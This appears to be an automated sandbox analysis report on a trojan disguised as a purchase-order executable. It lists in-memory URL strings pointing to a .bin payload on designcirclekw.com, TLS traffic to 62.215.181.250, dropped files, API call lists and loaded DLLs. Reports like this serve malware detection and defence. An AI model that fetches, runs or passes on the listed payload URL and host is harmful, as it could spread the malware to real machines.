Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2832627511.00000000075DA000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2832535674.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2813443365.00000000075DC000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2890472384.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2871405171.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2852037864.00000000075D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://designcirclekw.com/admin/controller/extension/extension/zXcMABFvBCAfEn173.bin)
Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3372975726.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3394670154.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3328739652.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3328883453.00000000075DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://designcirclekw.com/admin/controller/extension/extension/zXcMABFvBCAfEn173.bin5
Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2871405171.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2852037864.00000000075D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://designcirclekw.com/admin/controller/extension/extension/zXcMABFvBCAfEn173.binQ
Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000002.3912621480.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3181377278.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3201010339.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3220354716.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3181585136.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3220645532.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3162090904.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3161939016.00000000075D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://designcirclekw.com/admin/controller/extension/extension/zXcMABFvBCAfEn173.binTf
Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3249913342.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3249753104.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3269271168.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3028767017.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2970031415.00000000075DC000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3009043227.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3288676137.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3309422923.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3220354716.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3220645532.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3288465328.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3008954123.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2989432317.00000000075DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://designcirclekw.com/admin/controller/extension/extension/zXcMABFvBCAfEn173.bind
Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3142803072.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3070130873.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3028767017.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3009043227.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3142595518.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3070453625.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3100164919.00000000075DC000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3008954123.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.2989432317.00000000075DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://designcirclekw.com/admin/controller/extension/extension/zXcMABFvBCAfEn173.binlIa
Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3372975726.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3353408541.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3394670154.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3353581442.00000000075DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://designcirclekw.com/dmin/controller/extension/extension/zXcMABFvBCAfEn173.binBFvBCAfEn173.bin
Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3181377278.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3201010339.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3181585136.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3162090904.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3161939016.00000000075D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://designcirclekw.com/l
Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3142803072.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000002.3912621480.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3142595518.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3162090904.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3122796477.00000000075DC000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3328739652.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3100164919.00000000075DC000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3328883453.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3161939016.00000000075D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://designcirclekw.com/ler/extension/extension/zXcMABFvBCAfEn173.bin
Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3142803072.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3181377278.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3142595518.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3201010339.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3220354716.00000000075D8000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3181585136.00000000075DB000.00000004.00000020.00020000.00000000.sdmp, PO-10212024168877 PNG2023-W101.exe, 00000006.00000003.3220645532.00000000075DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://designcirclekw.com/t
Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000002.3912621480.0000000007568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://designcirclekw.com/v
Source: PO-10212024168877 PNG2023-W101.exe, 00000006.00000001.2607777042.0000000000649000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214

Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:50027 version: TLS 1.2

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Code function: 0_2_00405063 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405063

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Code function: 0_2_004030EC EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004030EC

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Code function: 0_2_004048A2

0_2_004048A2

Source: PO-10212024168877 PNG2023-W101.exe

Static PE information: invalid certificate

Source: PO-10212024168877 PNG2023-W101.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal72.troj.evad.winEXE@3/11@1/1

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

0_2_004030EC

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Code function: 0_2_0040432F GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_0040432F

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Code function: 0_2_0040205E CoCreateInstance,MultiByteToWideChar,

0_2_0040205E

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

File created: C:\Users\user\AppData\Local\demarkerede

Jump to behavior

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

File created: C:\Users\user\AppData\Local\Temp\nsp7D8F.tmp

Jump to behavior

Source: PO-10212024168877 PNG2023-W101.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PO-10212024168877 PNG2023-W101.exe

ReversingLabs: Detection: 52%

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

File read: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe "C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe"
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Process created: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe "C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe"
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Process created: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe "C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe

